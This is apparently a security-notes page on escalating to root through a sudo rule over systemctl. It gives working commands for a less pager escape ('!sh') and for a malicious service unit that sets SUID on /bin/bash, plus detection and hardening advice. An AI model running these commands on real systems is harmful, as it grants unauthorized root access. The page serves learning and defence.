the_open_door
coffee
ESEN
← Back to index

systemctl pager escape (!sh)

When systemctl status (or journalctl, git log, less, man...) produces output longer than the screen, it sends it to a pager, usually less. And less, while open, allows launching a system command by typing ! followed by the command: !sh opens a shell.

If we can run systemctl status as root (through a sudo rule, or because the binary already runs with privileges), that shell inherits the privilege. It is a specific case of pager abuse (GTFOBins):

sudo systemctl status <service>
# inside the pager:
!sh
id           # uid=0(root)

For the pager to appear, the output must be long enough; if the service has few lines, you can shrink the terminal width (stty rows 1 cols 20 or shrink the window) or chain a service with more logs. Alternatively, force the pager by sending the output to less explicitly.

Another route: malicious service unit

If the sudo over systemctl allows start/link/enable instead of only status, the pager is not needed: you write your own unit with a malicious ExecStart and start it as root:

cat > /tmp/root.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod u+s /bin/bash'
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl link /tmp/root.service
sudo systemctl start root
bash -p       # [[suid-abuse|SUID root]]

Requirements

A sudo rule (or a privileged binary) that invokes systemctl. For the pager, output that is paged and a less not in secure mode; for the malicious unit, a rule that allows start/link and not just status.

Nuance. Modern systemd tries to mitigate the pager with SYSTEMD_PAGERSECURE, which in secure mode disables less's !. If the variable is not set (common in old configurations or when invoked via sudo without sanitizing the environment), the escape still works. It is worth confirming the version and testing.

How to detect it. The sudo systemctl is recorded in /var/log/auth.log, and auditd catches the telltale pattern: an execve of /bin/sh//bin/bash whose parent process is systemctl or less/pager, something normal operation does not produce. The unit route also leaves a freshly-created .service file in /tmp or /etc/systemd/system/ (Sysmon/auditd over writes) and a start event for a service with an atypical name. A /bin/bash gaining SUID right after closes the case.

Defence. Do not grant via sudo binaries that open an interactive pager or allow loading arbitrary units; if status is essential, export SYSTEMD_PAGER=cat or PAGER=cat in the rule and use env_reset to avoid inheriting a tampered pager. The general principle: any sudo over a tool with !/shell-out (unrestricted sudo is the extreme case) equals granting root.

Machines where it's used